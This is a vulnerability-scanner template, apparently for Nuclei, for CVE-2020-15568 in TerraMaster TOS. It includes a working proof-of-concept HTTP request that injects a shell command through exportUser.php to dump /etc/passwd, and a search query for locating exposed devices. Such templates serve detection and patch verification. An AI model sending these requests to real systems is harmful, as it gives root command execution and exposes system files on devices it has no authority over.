TerraMaster TOS before 4.1.29 has invalid parameter checking that leads to code injection as root. This is a dynamic class method invocation vulnerability in include/exportUser.php, in which an attacker can trigger a call to the exec method with (for example) OS commands in the opt parameter.
PoC代码[已公开]
id: CVE-2020-15568
info:
name: TerraMaster TOS <.1.29 - Remote Code Execution
author: pikpikcu
severity: critical
description: TerraMaster TOS before 4.1.29 has invalid parameter checking that leads to code injection as root. This is a dynamic class method invocation vulnerability in include/exportUser.php, in which an attacker can trigger a call to the exec method with (for example) OS commands in the opt parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Upgrade TerraMaster TOS to version 1.29 or higher to mitigate this vulnerability.
reference:
- https://ssd-disclosure.com/ssd-advisory-terramaster-os-exportuser-php-remote-code-execution/
- https://nvd.nist.gov/vuln/detail/CVE-2020-15568
- https://help.terra-master.com/TOS/view/
- https://github.com/divinepwner/TerraMaster-TOS-CVE-2020-15568
- https://github.com/n0bugz/CVE-2020-15568
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-15568
cwe-id: CWE-913
epss-score: 0.9312
epss-percentile: 0.99783
cpe: cpe:2.3:o:terra-master:tos:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: terra-master
product: tos
fofa-query: '"terramaster" && header="tos"'
tags: cve2020,cve,terramaster,rce,terra-master
variables:
filename: "{{to_lower(rand_text_alpha(4))}}"
http:
- raw:
- |
GET /include/exportUser.php?type=3&cla=application&func=_exec&opt=(cat%20/etc/passwd)%3E{{filename}}.txt HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
- |
GET /include/{{filename}}.txt HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a004730450220195ce27ede00bb9f684d2ae668b1511c297bda15f274c3c6f3ef481275e36dd0022100bc6df9f8816ca9f0984242220f8eef7941428eda5765d4ede6b19a92f5404652:922c64590222798bb761d5b6d8e72950